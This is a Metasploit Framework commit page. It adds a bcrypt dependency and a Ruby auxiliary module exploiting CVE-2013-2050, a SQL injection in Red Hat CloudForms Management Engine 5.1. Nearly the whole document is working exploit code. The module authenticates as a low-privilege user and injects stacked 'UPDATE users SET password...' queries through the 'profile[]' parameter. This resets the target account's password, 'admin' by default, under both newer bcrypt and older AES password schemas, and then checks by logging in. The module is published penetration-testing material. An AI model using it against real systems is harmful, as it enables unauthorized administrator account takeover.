Land #2744, @rcvalle module for CVE-2013-2050
commit
f21d666631
2
Gemfile
2
Gemfile
|
@ -2,6 +2,8 @@ source 'https://rubygems.org'
|
|||
|
||||
# Need 3+ for ActiveSupport::Concern
|
||||
gem 'activesupport', '>= 3.0.0'
|
||||
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
|
||||
gem 'bcrypt-ruby'
|
||||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||
gem 'json'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -13,6 +13,7 @@ GEM
|
|||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
bcrypt-ruby (3.1.2)
|
||||
builder (3.0.4)
|
||||
database_cleaner (1.1.1)
|
||||
diff-lcs (1.2.4)
|
||||
|
@ -61,6 +62,7 @@ PLATFORMS
|
|||
DEPENDENCIES
|
||||
activerecord
|
||||
activesupport (>= 3.0.0)
|
||||
bcrypt-ruby
|
||||
database_cleaner
|
||||
factory_girl (>= 4.1.0)
|
||||
fivemat (= 1.2.1)
|
||||
|
|
|
@ -0,0 +1,175 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'bcrypt'
|
||||
require 'digest'
|
||||
require 'openssl'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL injection vulnerability in the "explorer"
|
||||
action of "miq_policy" controller of the Red Hat CloudForms Management
|
||||
Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by
|
||||
changing the password of the target account to the specified password.
|
||||
},
|
||||
'Author' => 'Ramon de C Valle',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-2050'],
|
||||
['CWE', '89'],
|
||||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true
|
||||
},
|
||||
'DisclosureDate' => 'Nov 12 2013'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [true, 'Your username']),
|
||||
OptString.new('PASSWORD', [true, 'Your password']),
|
||||
OptString.new('TARGETUSERNAME', [true, 'The username of the target account', 'admin']),
|
||||
OptString.new('TARGETPASSWORD', [true, 'The password of the target account', 'smartvm']),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
|
||||
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def password_for_newer_schema
|
||||
# Newer versions use ActiveModel's SecurePassword.
|
||||
BCrypt::Password.create(datastore['TARGETPASSWORD'])
|
||||
end
|
||||
|
||||
def password_for_older_schema
|
||||
# Older versions use ManageIQ's MiqPassword.
|
||||
if datastore['TARGETPASSWORD'].empty?
|
||||
'v1:{}'
|
||||
else
|
||||
password = '1234567890123456'
|
||||
salt = '6543210987654321'
|
||||
cipher = OpenSSL::Cipher.new('AES-256-CBC')
|
||||
cipher.encrypt
|
||||
cipher.key = Digest::SHA256.digest("#{salt}#{password}")[0...32]
|
||||
encrypted = cipher.update(datastore['TARGETPASSWORD']) + cipher.final
|
||||
"v1:{#{Rex::Text.encode_base64(encrypted)}}"
|
||||
end
|
||||
end
|
||||
|
||||
def password_reset?
|
||||
print_status("Trying to log into #{target_url('dashboard')} using the target account...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
|
||||
'vars_post' => {
|
||||
'user_name' => datastore['TARGETUSERNAME'],
|
||||
'user_password' => datastore['TARGETPASSWORD']
|
||||
}
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
print_error('No response from remote host')
|
||||
return false
|
||||
end
|
||||
|
||||
if res.body =~ /"Error: (.*)"/
|
||||
print_error($1)
|
||||
false
|
||||
else
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Logging into #{target_url('dashboard')}...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
|
||||
'vars_post' => {
|
||||
'user_name' => datastore['USERNAME'],
|
||||
'user_password' => datastore['PASSWORD']
|
||||
}
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
print_error('No response from remote host')
|
||||
return
|
||||
end
|
||||
|
||||
if res.body =~ /"Error: (.*)"/
|
||||
print_error($1)
|
||||
return
|
||||
else
|
||||
session = $1 if res.headers['Set-Cookie'] =~ /_vmdb_session=(\h*)/
|
||||
|
||||
if session.nil?
|
||||
print_error('Failed to retrieve the current session id')
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# Newer versions don't accept POST requests.
|
||||
print_status("Sending password-reset request to #{target_url('miq_policy', 'explorer')}...")
|
||||
send_request_cgi(
|
||||
'cookie' => "_vmdb_session=#{session}",
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
|
||||
'vars_get' => {
|
||||
'profile[]' => value_for_newer_schema
|
||||
}
|
||||
)
|
||||
|
||||
if password_reset?
|
||||
print_good('Password reset successfully')
|
||||
return
|
||||
else
|
||||
print_error('Failed to reset password')
|
||||
end
|
||||
|
||||
print_status("Sending (older-schema) password-reset request to #{target_url('miq_policy', 'explorer')}...")
|
||||
send_request_cgi(
|
||||
'cookie' => "_vmdb_session=#{session}",
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
|
||||
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
|
||||
'profile[]' => value_for_older_schema
|
||||
}
|
||||
)
|
||||
|
||||
if password_reset?
|
||||
print_good('Password reset successfully')
|
||||
else
|
||||
print_error('Failed to reset password')
|
||||
end
|
||||
end
|
||||
|
||||
def target_url(*args)
|
||||
(ssl ? 'https' : 'http') +
|
||||
if rport.to_i == 80 || rport.to_i == 443
|
||||
"://#{vhost}"
|
||||
else
|
||||
"://#{vhost}:#{rport}"
|
||||
end + normalize_uri(target_uri.path, *args)
|
||||
end
|
||||
|
||||
def value_for_newer_schema
|
||||
"1 = 1); UPDATE users SET password_digest = '#{password_for_newer_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --"
|
||||
end
|
||||
|
||||
def value_for_older_schema
|
||||
"1 = 1); UPDATE users SET password = '#{password_for_older_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --"
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue